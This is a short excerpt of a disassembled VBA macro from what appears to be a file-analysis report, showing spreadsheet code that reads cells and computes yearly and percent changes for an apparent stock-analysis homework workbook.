' Line #110:
' Line #111:
' 	Ld I 
' 	LitDI2 0x0003 
' 	Ld homework 
' 	ArgsMemLd Worksheets 0x0002 
' 	MemLd Value 
' 	St volume 
' Line #112:
' 	Ld I 
' 	LitDI2 0x0006 
' 	Ld homework 
' 	ArgsMemLd Worksheets 0x0002 
' 	MemLd Value 
' 	St open_year 
' Line #113:
' Line #114:
' 	Ld open_year 
' 	Ld volume 
' 	Sub 
' 	St close_year 
' Line #115:
' 	Ld open_year 
' 	Ld volume 
' 	Sub 
' 	Paren 
' 	Ld open_year 
' 	Div 
' 	St yearly_change 
' Line #116:
' Line #117:
' 	Ld Worksheet 
' 	Ld percent_change 
' 	LitDI2 0x0009 
' 	Ld homework 
' 	ArgsMemLd Worksheets 0x0002 
' 	MemSt Value 
' Line #118:
' 	Ld close_year 
…

Open this report in the interactive analyzer, or submit your own file for analysis.